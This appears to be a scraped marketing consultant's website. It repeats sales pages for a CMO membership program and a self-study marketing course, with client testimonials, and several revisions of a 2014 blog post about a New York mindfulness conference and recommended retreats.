Is Marketing ROI a Flight Risk?

Lisa Nirell’s

Making Marketing Waves

Lisa Nirell's Making Marketing WavesA virtual learning community to help you
dramatically improve market share, generic increase confidence, and optimize your impact on revenue.

Attention Senior Marketing Executives and CMOs:

  • Are you a successful marketing leader looking for that extra 1% competitive edge?
  • Are you struggling to move initiatives forward in the boardroom?
  • Has pressure to prove marketing ROI reached a fever pitch?
  • Is big data giving you a big headache?
  • Are you running out of fresh ideas to create breakthroughs?
  • Are you too busy to attend crowded networking events that offer marginal value?

Lisa Nirell’s Making Marketing Waves ™ may be a solution. This “just in time” virtual learning system and online community was designed to help you:

  • Raise the bar on your personal and organization performance
  • Rapidly generate fresh new marketing and growth ideas
  • Increase your credibility with your CEO and board of directors
  • Slash the time required to identify the hottest trends in demand creation, marketing technology, personal development, and branding
  • Tap into the collective wisdom of the top tier CMOs globally
  • Virtually expand your community and circle of influence

This multimedia learning program will feature three monthly pieces of powerful business growth and marketing material in written, audio and video format. This material will not be available anywhere else.

12 Month Membership

tim-hill-headshot

Lisa possesses the ability to drill down on the top CMO challenges while delivering real-world examples. I would highly recommend that marketing executives get involved in her organization to take their game and their companies to the next level.

Tim Hill, Former President of Global Marketing, Blackboard

[brclear]

Here’s How It Works…

Each month, this is what you will get:

  1. Lisa’s Making Marketing Waves ™ Leadership Lessons and How-To Advice You receive a monthly how-to piece based on my intellectual property that will cover one or more of the following topics:
    • Shifting your leadership role from order taker to market maker
    • Securing your thought leadership position (personal and organizational)
    • Trends in demand creation – both online and offline
    • Success stories with technology, such as big data, content management, and agile marketing
    • Techniques for balanced decision-making and team development

    These are pragmatic techniques and approaches you can apply to your work immediately.

    Here is the example of such an article, a column I wrote for FastCompany. It outlines the marketing lessons we can learn from Newsweek’s painful transition from print to digital.

  2. Exclusive Making Waves interviews You will receive video, audio, and written excerpts from my interviews with an innovative senior-level marketing leader. We’ll discuss their personal and professional journey, lessons learned, and offer practical advice.Many marketing leaders are unable to attend my live CMO events where I showcase these gifted, forward-thinking leaders. The interviews provide a unique, “on demand” way to gain insights from your peers.The videos allow me to speak directly to you about myriad strategies my best clients and CMO peer group members are implementing to drive revenues and create stronger customer communities. Here is a sample video…
    [alan-weiss-video]

    Here is another example from my recent interview with former Kodak CMO Jeffrey Hayzlett.

  3. Quarterly Teleconference As a member of Making Marketing Waves, you can join our quarterly teleconference or webinar. This will feature a guest CMO speaker or an open Q-and-A forum where you can ask about marketing issues you may be facing. You can send me your questions in advance, or ask them spontaneously during the call. These will be recorded so you can listen at any time, and at your convenience.
  4. Your Own Private Library You travel. Things can be hectic. You may miss a week’s worth of content. That’s why you receive password-protected access to the membership site, which houses the entire library of content for the year. You can review, read, and watch when it’s convenient for you.

 

12 Month Membership

 

Here’s What Members are Saying:

Jamie Gorski

Lisa has the power through her network to bring some people in who are truly impressive… you really do get to expand the way you think.

Jamie Gorski, CMO, Bozzuto

 

Stuart Foster

I have learned so much and I am very appreciative of the networking opportunities and also the knowledge that Lisa brings to us.

Stuart Foster, VP of Luxury and Lifestyle Marketing, Hilton Worldwide

 

Jen Kern

Lisa’s marketing communities are innovative and ground-breaking. They have contributed significantly to our team’s ability to contribute to Celerity’s 25% profit margin growth over the past three years.

Jen Kern, CMO, Celerity

[brclear]

Lisa Nirell hosts valuable events where I can network with experienced marketers, discuss demand generation obstacles, and engage in brainstorming sessions to address those obstacles.

Gay Bitter, VP of Marketing, Relevate Group

[brclear]

Our pipeline of “ideal clients” doubled to $435,000 when we applied the EnergizeGrowth® models. I now schedule time each week to work on my business strategy, marketing plan and family activities.

Patricia Bramhall, Founder, Tydak Consulting Services

Fees

Your investment for a full year of multimedia learning, executive interviews, and Q&A with me is only $337. That’s $28 per month. Most of us spend more on coffee in one week.

That’s it. Great learning tools, delivered in multiple learning formats, all designed to help you and your marketing teams improve dramatically.

This is a rolling 12-month membership. In other words, if you sign up in September, you have access for 12 months before you must renew.

Your investment is non-refundable and non-cancelable within the 12-month cycle. Once you register, you get a year of extremely valuable marketing guidance and peer insights.Your valuable membership will automatically renew every 12 months. We send you an email with the option to continue or cancel your membership at least 30 days in advance of your anniversary date.

Lisa Nirell's Making Marketing Waves

Are you still thinking about it?

If you are here to put your toe in the water, this program is not for you. This program is about making waves. Get instant access to Making Marketing Waves.

12 Month Membership

Connect with Lisa Nirell

Facebook LinkedIn Twitter YouTube RSS Feed

Still have questions? Feel free to contact me. I look forward to you joining us.

Lisa Nirell’s

Making Marketing Waves™

Lisa Nirell's Making Marketing WavesA virtual learning community to help you
dramatically improve market share, increase confidence, and optimize your impact on revenue.

Attention Senior Marketing Executives and CMOs:

  • Are you a successful marketing leader looking for that extra 1% competitive edge?
  • Are you struggling to move initiatives forward in the boardroom?
  • Has pressure to prove marketing ROI reached a fever pitch?
  • Is big data giving you a big headache?
  • Are you running out of fresh ideas to create breakthroughs?
  • Are you too busy to attend crowded networking events that offer marginal value?

Lisa Nirell’s Making Marketing Waves™ may be a solution. This “just in time” virtual learning system and online community was designed to help you:

  • Raise the bar on your personal and organization performance
  • Rapidly generate fresh new marketing and growth ideas
  • Increase your credibility with your CEO and board of directors
  • Slash the time required to identify the hottest trends in demand creation,
    marketing technology, personal development, and branding
  • Tap into the collective wisdom of the top tier CMOs globally
  • Virtually expand your community and circle of influence

This multimedia learning program will feature three monthly pieces of powerful business growth and marketing material in written, audio and video format. This material will not be available anywhere else.

12 Month Membership

Lisa possesses the ability to drill down on the top CMO challenges while delivering real world examples. I would highly recommend that marketing executives get involved in her organization to take their game and their companies to the next level.

Tim Hill, Former President of Global Marketing, Blackboard

Here’s How It Works…

Each month, this is what you will get:

  1. Lisa’s Making Marketing Waves™ Leadership Lessons and How-To AdviceYou receive a monthly how-to piece based on my intellectual property that will cover one or more of the following topics:
    • Shifting your leadership role from order taker to market maker
    • Securing your thought leadership position (personal and organizational)
    • Trends in demand creation – both online and offline
    • Success stories with technology, such as big data, content management, and agile marketing
    • Techniques for balanced decision-making and team development

    These are pragmatic techniques and approaches you can apply to your work immediately.

    Here is the example of such an article, a column I wrote for FastCompany. It outlines the marketing lessons we can learn from Newsweek’s painful transition from print to digital.

  2. Exclusive Making Waves interviewsYou will receive video, audio, and written excerpts from my interviews with an innovative senior-level marketing leader. We’ll discuss their personal and professional journey, lessons learned, and offer practical advice.Many marketing leaders are unable to attend my live CMO events where I showcase these gifted, forward-thinking leaders. The interviews provide a unique, “on demand” way to gain insights from your peers.The videos allow me to speak directly to you about myriad strategies my best clients and CMO peer group members are implementing to drive revenues and create stronger customer communities. Here is a sample video…
    [alan-weiss-video]

    Here is another example from my recent interview with former Kodak CMO Jeffrey Hayzlett.

  3. Quarterly TeleconferenceAs a member of Making Marketing Waves, you can join our quarterly teleconference or webinar. This will feature a guest CMO speaker or an open Q-and-A forum where you can ask about marketing issues you may be facing. You can send me your questions in advance, or ask them spontaneously during the call. These will be recorded so you can listen at any time, and at your convenience.
  4. Your Own Private LibraryYou travel. Things can be hectic. You may miss a week’s worth of content. That’s why you receive password-protected access to the membership site, which houses the entire library of content for the year. You can review, read, and watch when it’s convenient for you.

 

12 Month Membership

 

Here’s What Members are Saying:

[waves-video]

Lisa Nirell hosts valuable events where I can network with experienced marketers, discuss demand generation obstacles, and engage in brainstorming sessions to address those obstacles.

Gay Bitter, VP of Marketing, Relevate Group

Our pipeline of “ideal clients” doubled to $435,000 when we applied the EnergizeGrowth® models. I now schedule time each week to work on my business strategy, marketing plan and family activities.

Patricia Bramhall, Founder, Tydak Consulting Services

Fees

Your investment for a full year of multimedia learning, executive interviews, and Q&A with me is only $297. That’s $23 per month. Most of us spend more on coffee in one week.

That’s it. Great learning tools, delivered in multiple learning formats, all designed to help you and your marketing teams improve dramatically.

This is a rolling 12-month membership. In other words, if you sign up in September, you have access for 12 months before you must renew. If you sign up in January, you get access to all of the material in the next 12 months, but not the work that came before it.

Your investment is non-refundable and non-cancelable within the 12-month cycle. Once you register, you get a year of extremely valuable marketing guidance and peer insights.

Lisa Nirell's Making Marketing Waves

Are you still thinking about it?

If you are here to put your toe in the water, this program is not for you. This program is about making waves. Get instant access to Making Marketing Waves.

12 Month Membership

Connect with Lisa Nirell

Facebook LinkedIn Twitter YouTube RSS Feed

Still have questions? Feel free to contact me. I look forward to you joining us.

Are your phones ringing consistently with “ideal” prospects? Are you enjoying highly profitable engagements? Have you eliminated the “feast or famine” business cycles and weathered the economic storms in your industry?

If not, it’s time to re-energize your marketing strategy.
Lisa Nirell shows you proven tools to help you generate highly profitable engagements. This program—based on the acclaimed Action Plan Marketing™ system—has helped over 650 small and mid-sized companies conquer the “feast or famine” challenges with marketing services, and consistently win at the game of marketing.

This multimedia self-study program—over 10 hours of interactive sessions–will show you how to:

 

  • Build a powerful and attention-grabbing marketing message
  • Construct the core pieces of your marketing plan
  • Clarify and segment your ideal client
  • Consistently find and keep profitable clients
  • Consistently speak the language of marketing
  • Increase your fees with confidence
  • Use a “free consultation” process to increase client conversion rates

What Clients Say:

Our pipeline of ideal clients doubled to $435,000 when we applied the EnergizeGrowth® planning models.

– Pat Bramhall, CEO, Tydak Inc.

Lisa was the catalyst that guided our 100+% sales growth within our first year.

– Ed Winder, former Senior Vice President, Active Software

The EnergizeGrowth® programs saved me at least $30,000 of my time.

– Janet Amirault, Software Consortium

By following the “7 Steps” Mentoring Program, I finally identified my ideal client so that I can describe it effectively to others. In the first three months of this year, I have closed business amounting to double my earnings for all of last year.

– Lanny Feder, President, Protective Intellectual Property Services, LLC

Are your phones ringing consistently with “ideal” prospects? Are you enjoying highly profitable engagements? Have you eliminated the “feast or famine” business cycles and weathered the economic storms in your industry?

If not, it’s time to re-energize your marketing strategy.
Lisa Nirell shows you proven tools to help you generate highly profitable engagements. This program—based on the acclaimed Action Plan Marketing™ system—has helped over 650 small and mid-sized companies conquer the “feast or famine” challenges with marketing services, and consistently win at the game of marketing.

This multimedia self-study program—over 10 hours of interactive sessions, workbook, and MP3 programs–will show you how to:

 

  • Build a powerful and attention-grabbing marketing message
  • Construct the core pieces of your marketing plan
  • Clarify and segment your ideal client
  • Consistently find and keep profitable clients
  • Consistently speak the language of marketing
  • Increase your fees with confidence
  • Use a “free consultation” process to increase client conversion rates

What Clients Say:

Our pipeline of ideal clients doubled to $435,000 when we applied the EnergizeGrowth® planning models.

– Pat Bramhall, CEO, Tydak Inc.

Lisa was the catalyst that guided our 100+% sales growth within our first year.

– Ed Winder, former Senior Vice President, Active Software

The EnergizeGrowth® programs saved me at least $30,000 of my time.

– Janet Amirault, Software Consortium

By following the “7 Steps” Mentoring Program, I finally identified my ideal client so that I can describe it effectively to others. In the first three months of this year, I have closed business amounting to double my earnings for all of last year.

– Lanny Feder, President, Protective Intellectual Property Services, LLC

Are your phones ringing consistently with “ideal” prospects? Are you enjoying highly profitable engagements? Have you eliminated the “feast or famine” business cycles and weathered the economic storms in your industry?

If not, it’s time to re-energize your marketing strategy.
Lisa Nirell shows you proven tools to help you generate highly profitable engagements. This program—based on the acclaimed Action Plan Marketing™ system—has helped over 650 small and mid-sized companies conquer the “feast or famine” challenges with marketing services, and consistently win at the game of marketing.

This multimedia self-study program—over 10 hours of interactive sessions, workbook, and MP3 programs–will show you how to:

 

  • Build a powerful and attention-grabbing marketing message
  • Construct the core pieces of your marketing plan
  • Clarify and segment your ideal client
  • Consistently find and keep profitable clients
  • Consistently speak the language of marketing
  • Increase your fees with confidence
  • Use a “free consultation” process to increase client conversion rates

What Clients Say:

Our pipeline of ideal clients doubled to $435,000 when we applied the EnergizeGrowth® planning models.

– Pat Bramhall, CEO, Tydak Inc.

Lisa was the catalyst that guided our 100+% sales growth within our first year.

– Ed Winder, former Senior Vice President, Active Software

The EnergizeGrowth® programs saved me at least $30,000 of my time.

– Janet Amirault, Software Consortium

By following the “7 Steps” Mentoring Program, I finally identified my ideal client so that I can describe it effectively to others. In the first three months of this year, I have closed business amounting to double my earnings for all of last year.

– Lanny Feder, President, Protective Intellectual Property Services, LLC

Are your phones ringing consistently with “ideal” prospects? Are you enjoying highly profitable engagements? Have you eliminated the “feast or famine” business cycles and weathered the economic storms in your industry?

If not, it’s time to re-energize your marketing strategy.
Lisa Nirell shows you proven tools to help you generate highly profitable engagements. This program—based on the acclaimed Action Plan Marketing™ system—has helped over 650 small and mid-sized companies conquer the “feast or famine” challenges with marketing services, and consistently win at the game of marketing.

This multimedia self-study program—over 10 hours of interactive sessions, workbook, and MP3 programs–will show you how to:

  • Build a powerful and attention-grabbing marketing message
  • Construct the core pieces of your marketing plan
  • Clarify and segment your ideal client
  • Consistently find and keep profitable clients
  • Consistently speak the language of marketing
  • Increase your fees with confidence
  • Use a “free consultation” process to increase client conversion rates

What Clients Say:

Our pipeline of ideal clients doubled to $435,000 when we applied the EnergizeGrowth® planning models.

– Pat Bramhall, CEO, Tydak Inc.

Lisa was the catalyst that guided our 100+% sales growth within our first year.

– Ed Winder, former Senior Vice President, Active Software

The EnergizeGrowth® programs saved me at least $30,000 of my time.

– Janet Amirault, Software Consortium

By following the “7 Steps” Mentoring Program, I finally identified my ideal client so that I can describe it effectively to others. In the first three months of this year, I have closed business amounting to double my earnings for all of last year.

– Lanny Feder, President, Protective Intellectual Property Services, LLC

What exactly is LinkedIn? And what do you need to know to make it an effective, high integrity marketing tool?

Using LinkedIn to Get InThis multimedia program will show how you can generate more leads, deepen client relationships, and profitable engagements out of LinkedIn with our special guests, including Jason Alba and Chip Lambert.

Here’s what you’ll gain from
this 90-minute program
and transcript:

  1. A clear definition of social media, and how LinkedIn works
  2. Live stories from LinkedIn “power users” who have generated six-and seven-figure engagements using the service
  3. Do’s and don’ts for protecting your brand on LinkedIn
  4. Top five benefits of using LinkedIn for business consultants and other professional services firms
  5. A 30-day working action plan to build your LinkedIn community

[brclear]


If you are one of those highly accomplished, over-caffeinated, exhausted business leaders, you’re in luck. It is now cool to admit it, and approach things in a healthier way.

photo 1Based on my experience last week at the Third Metric Live conference in New York, mindfulness has officially reached the East Coast masses. As a 17-year meditation and yoga veteran, I sometimes feel like yelling “It’s about time” from the rooftop. My attitude, relationships, problem-solving abilities, and well-being benefit greatly when I practice mindfulness.

HuffingtonPost President and Founder, Arianna Huffington, teamed with Mika Brzezinski, MSNBC co-anchor for Morning Joe to launch this conference. Over 1,000 well-coiffed, fashion-conscious attendees–90 percent female–enjoyed personal apothegms from Tory Burch, Jon Kabat-Zinn, Ellen Goodman, Alanis Morrisette, Randi Zuckerberg (yes, that Zuckerberg), and British mogul-turned-monk Andy Puddicombe.

Just three years ago, it would have taken a miracle worker to entice East Coast urban professionals to attend a $395 conference that promised to help you “chart a new way forward and live lives that are more authentic and more fulfilling.” Now, self-help meetups such as Third Metric Live need security barriers to manage the crowds.

Mailet Lopez
Lisa with Mailet Lopez, co-founder, Squeaky Wheel Media

I sat back and observed the conference vibe. In the past 17 years, I have attended at least 40 retreats, conferences, and seminars. (full disclosure: I’m a chronic lifelong learner, and appreciated Arianna’s offer to extend a media pass to me.)

The initial evening session inspired me. THRIVE speakers extolled the importance of adequate sleep, daily naps, and “digital detox days.” (I am a huge fan of unplugging for 24 hours every weekend). Yet the moderators and speakers tirelessly promoted their apps and newest book.

Holistic doctors and practitioners such as Mark Hyman, Richard Davidson, and David B. Agus promoted healthy eating habits and banning sugar. Yet the break areas served sweetened juices, pretzels, and boatloads of brownies.

In a nutshell, Arianna is a seasoned trend-spotter and marketer and realizes Westerners need to find a middle path between Buddhist ascetic practices and “in your face” capitalism. She designed a large-scale media campaign to coincide with her newest book, THRIVE, which launched on March 31. Prior to that time, she was a regular speaker at the groundbreaking Wisdom 2.0 conferences, which originated on the West Coast. Her own personal journey of transformation and reinvention happened out of necessity in 2007, when she collapsed from exhaustion and woke up on the floor in a pool of blood (her signature story and book hook).

Much like Oprah, Donna Karan, and Sheryl Sandberg, Huffington is helping us discover our best selves. These leadership pioneers encourage us to go onward, upward, and inward. Whether we agree with the glitzy approach or not, we sometimes need personalities who can bridge the intimidating, sometimes insurmountable gap between neuroscientists and ashram dwellers. They represent mindfulness for the masses.

If you are sincerely interested in deepening your understanding of some aspect of mindfulness, such as yoga, martial arts, breath work, meditation, conscious communication techniques, or Reiki, seek other options that augment these mega-conferences. I recommend several programs for you to consider. I have attended all of these programs, and found them beneficial:

Landmark Worldwide LLC–a global education firm with roots in Werner Erhard’s 80’s est training. I cannot effectively summarize the value they deliver, except to say that they offer some of the finest self-awareness, communications, and confidence building tools I have ever seen.

Clarity International-Co-Founders Cathy and Gary Hawk help successful leaders design “what’s next” in their businesses, careers, and families using a unique interviewing and visioning methodology. Professional basketball teams, entertainers, and CEOs alike have gained value from their coaching programs and seminars. (note: we have a referral relationship)

Esalen Institute-A campy, legendary retreat on the cliffs of Big Sur, CA. During their 55 year history, they have offered courses ranging from Raku pottery, Five Rhythms dance, meditation, yoga, and massage. I have attended six programs at Esalen, feasted on their freshly-grown organic produce, and savored the natural hot springs baths. Some areas of the sacred Native American property, are clothing optional. Some first timers at Esalen struggle with the earthy, unpretentious hippie culture and poor WiFi. I love the change from my daily structured routine.

Wisdom 2.0 Conferences–check their website for dates and locations. Founder Soren Gorenstam assembles an impressive group of scientists and mindfulness practitioners, such as former Cisco CTO Padmasree Warrior, LinkedIn CEO Jeff Weiner, Jon Kabat-Zinn, Jack Kornfield, and Twitter co-founder Evan Williams. Wisdom provides a brief overview of the intersection between technology and mindfulness in today’s organizations.

Is it time you injected more wisdom into your marketing organization and growth strategy? These options will help you get started on your path to worldly wisdom.

Copyright 2014, Lisa Nirell. All rights reserved.

Other articles you will enjoy:

  1. Wisdom 2.0’s Compassionate, Chaos-Reducing Brand Of Leadership
  2. Find Your Inner Marketing Guru to Make Better Decisions
  3. How Successful Marketing Leaders (Like Arianna Huffington) Unplug

 

{photos by Lisa Nirell]
If you are one of those highly accomplished, over-caffeinated, exhausted business leaders, you’re in luck. It is now cool to admit it, and approach things in a healthier way.

photo 1Based on my experience last week at the Third Metric Live conference in New York, mindfulness has officially reached the East Coast masses. As a 17-year meditation and yoga veteran, I sometimes feel like yelling “It’s about time” from the rooftop. My attitude, relationships, problem-solving abilities, and well-being benefit greatly when I practice mindfulness.

HuffingtonPost President and Founder, Arianna Huffington, teamed with Mika Brzezinski, MSNBC co-anchor for Morning Joe to launch this conference. Over 1,000 well-coiffed, fashion-conscious attendees–90 percent female–enjoyed personal apothegms from Tory Burch, Jon Kabat-Zinn, Ellen Goodman, Alanis Morrisette, Randi Zuckerberg (yes, that Zuckerberg), and British mogul-turned-monk Andy Puddicombe.

Just three years ago, it would have taken a miracle worker to entice East Coast urban professionals to attend a $395 conference that promised to help you “chart a new way forward and live lives that are more authentic and more fulfilling.” Now, self-help meetups such as Third Metric Live need security barriers to manage the crowds.

Mailet Lopez

Lisa with Mailet Lopez, co-founder, Squeaky Wheel Media

I sat back and observed the conference vibe. In the past 17 years, I have attended at least 40 retreats, conferences, and seminars. (full disclosure: I’m a chronic lifelong learner, and appreciated Arianna’s offer to extend a media pass to me.)

The initial evening session inspired me. THRIVE speakers extolled the importance of adequate sleep, daily naps, and “digital detox days.” (I am a huge fan of unplugging for 24 hours every weekend). Yet the moderators and speakers tirelessly promoted their apps and newest book.

Holistic doctors and practitioners such as Mark Hyman, Richard Davidson, and David B. Agus promoted healthy eating habits and banning sugar. Yet the break areas served sweetened juices, pretzels, and boatloads of brownies.

In a nutshell, Arianna is a seasoned trend-spotter and marketer, and realizes Westerners need to find a middle path between Buddhist ascetic practices and “in your face” capitalism. She designed a large-scale media campaign to coincide with her newest book, THRIVE, which launched on March 31. Prior to that time, she was a regular speaker at the groundbreaking Wisdom 2.0 conferences, which originated on the West Coast. Her own personal journey of transformation and reinvention happened out of necessity in 2007, when she collapsed from exhaustion and woke up on the floor in a pool of blood (her signature story and book hook).

Much like Oprah, Donna Karan, and Sheryl Sandberg, Huffington is helping us discover our best selves. These leadership pioneers encourage us to go onward, upward, and inward. Whether we agree with the glitzy approach or not, we sometimes need personalities who can bridge the intimidating, sometimes insurmountable gap between neuroscientists and ashram dwellers. They represent mindfulness for the masses.

If you are sincerely interested in deepening your understanding of some aspect of mindfulness, such as yoga, martial arts, breath work, meditation, conscious communication techniques, or Reiki, seek other options that augment these mega-conferences. I recommend several programs for you to consider. I have attended all of these programs, and found them beneficial:

Landmark Worldwide LLC–a global education firm with roots in Werner Erhard’s 80’s est training. I cannot effectively summarize the value they deliver, except to say that they offer some of the finest self-awareness, communications, and confidence building tools I have ever seen.

Clarity International-Co-Founders Cathy and Gary Hawk help successful leaders design “what’s next” in their businesses, careers, and families using a unique interviewing and visioning methodology. Professional basketball teams, entertainers, and CEOs alike have gained value from their coaching programs and seminars. (note: we have a referral relationship)

Esalen Institute-A campy, legendary retreat on the cliffs of Big Sur, CA. During their 55 year history, they have offered courses ranging from Raku pottery, Five Rhythms dance, meditation, yoga, and massage. I have attended six programs at Esalen, feasted on their freshly-grown organic produce, and savored the natural hot springs baths. Some areas of the sacred Native American property, are clothing optional. Some first timers at Esalen struggle with the earthy, unpretentious hippie culture and poor WiFi. I love the change from my daily structured routine.

Wisdom 2.0 Conferences–check their website for dates and locations. Founder Soren Gorenstam assembles an impressive group of scientists and mindfulness practitioners, such as former Cisco CTO Padmasree Warrior, LinkedIn CEO Jeff Weiner, Jon Kabat-Zinn, Jack Kornfield, and Twitter co-founder Evan Williams. Wisdom provides a brief overview of the intersection between technology and mindfulness in today’s organizations.

Is it time you injected more wisdom into your marketing organization and growth strategy? These options will help you get started on your path to worldly wisdom.

Copyright 2014, Lisa Nirell. All rights reserved.

Other articles you will enjoy:

  1. Wisdom 2.0’s Compassionate, Chaos-Reducing Brand Of Leadership
  2. Find Your Inner Marketing Guru to Make Better Decisions
  3. How Successful Marketing Leaders (Like Arianna Huffington) Unplug

 

{photos by Lisa Nirell]
If you are one of those highly accomplished, over-caffeinated, exhausted business leaders, you’re in luck. It is now cool to admit it, and approach things in a healthier way.

photo 1Based on my experience last week at the Third Metric Live conference in New York, mindfulness has officially reached the East Coast masses. As a 17-year meditation and yoga veteran, I sometimes feel like yelling “It’s about time” from the rooftop. My attitude, relationships, problem-solving abilities, and well-being benefit greatly when I practice mindfulness.

HuffingtonPost President and Founder, Arianna Huffington, teamed with Mika Brzezinski, MSNBC co-anchor for Morning Joe to launch this conference. Over 1,000 well-coiffed, fashion-conscious attendees–90 percent female–enjoyed personal apothegms from Tory Burch, Jon Kabat-Zinn, Ellen Goodman, Alanis Morrisette, Randi Zuckerberg (yes, that Zuckerberg), and British mogul-turned-monk Andy Puddicombe.

Just three years ago, it would have taken a miracle worker to entice East Coast urban professionals to attend a $395 conference that promised to help you “chart a new way forward and live lives that are more authentic and more fulfilling.” Now, self-help meetups such as Third Metric Live need security barriers to manage the crowds.

Mailet Lopez
Lisa with Mailet Lopez, co-founder,
Squeaky Wheel Media

I sat back and observed the conference vibe. In the past 17 years, I have attended at least 40 retreats, conferences, and seminars. (full disclosure: I’m a chronic lifelong learner, and appreciated Arianna’s offer to extend a media pass to me.)

The initial evening session inspired me. THRIVE speakers extolled the importance of adequate sleep, daily naps, and “digital detox days.” (I am a huge fan of unplugging for 24 hours every weekend). Yet the moderators and speakers tirelessly promoted their apps and newest book.

Holistic doctors and practitioners such as Mark Hyman, Richard Davidson, and David B. Agus promoted healthy eating habits, and banning sugar. Yet the break areas served sweetened juices, pretzels, and boatloads of brownies.

In a nutshell, Arianna is a seasoned trend-spotter and marketer, and realizes Westerners need to find a middle path between Buddhist ascetic practices and “in your face” capitalism. She designed a large-scale media campaign to coincide with her newest book, THRIVE, which launched on March 31. Prior to that time, she was a regular speaker at the groundbreaking Wisdom 2.0 conferences, which originated on the West Coast. Her own personal journey of transformation and reinvention happened out of necessity in 2007, when she collapsed from exhaustion and woke up on the floor in a pool of blood (her signature story and book hook).

Much like Oprah, Donna Karan, and Sheryl Sandberg, Huffington is helping us discover our best selves. These leadership pioneers encourage us to go onward, upward, and inward. Whether we agree with the glitzy approach or not, we sometimes need personalities who can bridge the intimidating, sometimes insurmountable gap between neuroscientists and ashram dwellers. They represent mindfulness for the masses.

If you are sincerely interested in deepening your understanding of some aspect of mindfulness, such as yoga, martial arts, breath work, meditation, conscious communication techniques, or Reiki, seek other options that augment these mega-conferences. I recommend several programs for you to consider. I have attended all of these programs, and found them beneficial:

Landmark Worldwide LLC–a global education firm with roots in Werner Erhard’s 80’s est training. I cannot effectively summarize the value they deliver, except to say that they offer some of the finest self-awareness, communications, and confidence building tools I have ever seen.

Clarity International-Co-Founders Cathy and Gary Hawk help successful leaders design “what’s next” in their businesses, careers, and families using a unique interviewing and visioning methodology. Professional basketball teams, entertainers, and CEOs alike have gained value from their coaching programs and seminars. (note: we have a referral relationship)

Esalen Institute-A campy, legendary retreat on the cliffs of Big Sur, CA. During their 55 year history, they have offered courses ranging from Raku pottery, Five Rhythms dance, meditation, yoga, and massage. I have attended six programs at Esalen, feasted on their freshly-grown organic produce, and savored the natural hot springs baths. Some areas of the sacred Native American property, are clothing optional. Some first timers at Esalen struggle with the earthy, unpretentious hippie culture and poor WiFi. I love the change from my daily structured routine.

Wisdom 2.0 Conferences–check their website for dates and locations. Founder Soren Gorenstam assembles an impressive group of scientists and mindfulness practitioners, such as former Cisco CTO Padmasree Warrior, LinkedIn CEO Jeff Weiner, Jon Kabat-Zinn, Jack Kornfield, and Twitter co-founder Evan Williams. Wisdom provides a brief overview of the intersection between technology and mindfulness in today’s organizations.

Is it time you injected more wisdom into your marketing organization and growth strategy? These options will help you get started on your path to worldly wisdom.

Copyright 2014, Lisa Nirell. All rights reserved.

Other articles you will enjoy:

  1. Wisdom 2.0’s Compassionate, Chaos-Reducing Brand Of Leadership
  2. Find Your Inner Marketing Guru to Make Better Decisions
  3. How Successful Marketing Leaders (Like Arianna Huffington) Unplug

 

{photos by Lisa Nirell]
If you are one of those highly accomplished, over-caffeinated, exhausted business leaders, you’re in luck. It is now cool to admit it, and approach things in a healthier way.

photo 1Based on my experience last week at the Third Metric Live conference in New York, mindfulness has officially reached the East Coast masses. As a longtime meditation and yoga veteran, I sometimes feel like yelling “It’s about time” from the rooftop. My attitude, relationships, problem-solving abilities, and well-being benefit greatly when I practice mindfulness.

HuffingtonPost President and Founder, Arianna Huffington, teamed with Mika Brzezinski, MSNBC co-anchor for Morning Joe to launch this conference. Over 1,000 well-coiffed, fashion-conscious attendees–90 percent female–enjoyed personal apothegms from Tory Burch, Jon Kabat-Zinn, Ellen Goodman, Alanis Morrisette, Randi Zuckerberg (yes, that Zuckerberg), and British mogul-turned-monk Andy Puddicombe.

Just three years ago, it would have taken a miracle worker to entice East Coast urban professionals to attend a $395 conference that promised to help you “chart a new way forward and live lives that are more authentic and more fulfilling.” Now, self-help meetups such as Third Metric Live need security barriers to manage the crowds.

Mailet Lopez
Lisa with Mailet Lopez, co-founder,
Squeaky Wheel Media

I sat back and observed the conference vibe. In the past 17 years, I have attended at least 40 retreats, conferences, and seminars. (full disclosure: I’m a chronic lifelong learner, and appreciated Arianna’s offer to extend a media pass to me.)

The initial evening session inspired me. THRIVE speakers extolled the importance of adequate sleep, daily naps, and “digital detox days.” (I am a huge fan of unplugging for 24 hours every weekend). Yet the moderators and speakers tirelessly promoted their apps and newest book.

Holistic doctors and practitioners such as Mark Hyman, Richard Davidson, and David B. Agus promoted healthy eating habits, and banning sugar. Yet the break areas served sweetened juices, pretzels, and boatloads of brownies.

In a nutshell, Arianna is a seasoned trend-spotter and marketer, and realizes Westerners need to find a middle path between Buddhist ascetic practices and Western style capitalism and habits. She designed a large-scale media campaign to coincide with her newest book, THRIVE, which launched on March 31. Prior to that time, she was a regular speaker at the groundbreaking Wisdom 2.0 conferences, which originated on the West Coast. Her own personal journey of transformation and reinvention happened out of necessity in 2007, when she collapsed from exhaustion and woke up on the floor in a pool of blood (her signature story and book hook).

Much like Oprah, Donna Karan, and Sheryl Sandberg, Huffington is helping us discover our best selves. These leadership pioneers encourage us to go onward, upward, and inward. Whether we agree with the glitzy approach or not, we sometimes need personalities who can bridge the intimidating, sometimes insurmountable gap between neuroscientists and ashram dwellers. They represent mindfulness for the masses.

If you are sincerely interested in deepening your understanding of some aspect of mindfulness, such as yoga, martial arts, breath work, meditation, conscious communication techniques, or Reiki, seek other options that augment these mega-conferences. I recommend several programs for you to consider. I have attended all of these programs, and found them beneficial:

Landmark Worldwide LLC–a global education firm with roots in Werner Erhard’s 80’s est training. I cannot effectively summarize the value they deliver, except to say that they offer some of the finest self-awareness, communications, and confidence building tools I have ever seen.

Clarity International-Co-Founders Cathy and Gary Hawk help successful leaders design “what’s next” in their businesses, careers, and families using a unique interviewing and visioning methodology. Professional basketball teams, entertainers, and CEOs alike have gained value from their coaching programs and seminars. (note: we have a referral relationship)

Esalen Institute-A campy, legendary retreat on the cliffs of Big Sur, CA. During their 55 year history, they have offered courses ranging from Raku pottery, Five Rhythms dance, meditation, yoga, and massage. I have attended six programs at Esalen, feasted on their freshly-grown organic produce, and savored the natural hot springs baths. Some areas of the sacred Native American property, are clothing optional. Some first timers at Esalen struggle with the earthy, unpretentious hippie culture and poor WiFi. I love the change from my daily systems and routines.

Wisdom 2.0 Conferences–check their website for dates and locations. Conference founder and author Soren Gordhamer assemble an impressive group of scientists and mindfulness practitioners, such as former Cisco CTO Padmasree Warrior, LinkedIn CEO Jeff Weiner, Jon Kabat-Zinn, Jack Kornfield, and Twitter co-founder Evan Williams. Wisdom provides a brief overview of the intersection between technology and mindfulness in today’s organizations.

Is it time you injected more wisdom into your marketing and growth strategy? These options will help you get started on your new path. Please share your experiences below.

Copyright 2014, Lisa Nirell. All rights reserved.

Other articles you will enjoy:

  1. Wisdom 2.0’s Compassionate, Chaos-Reducing Brand Of Leadership
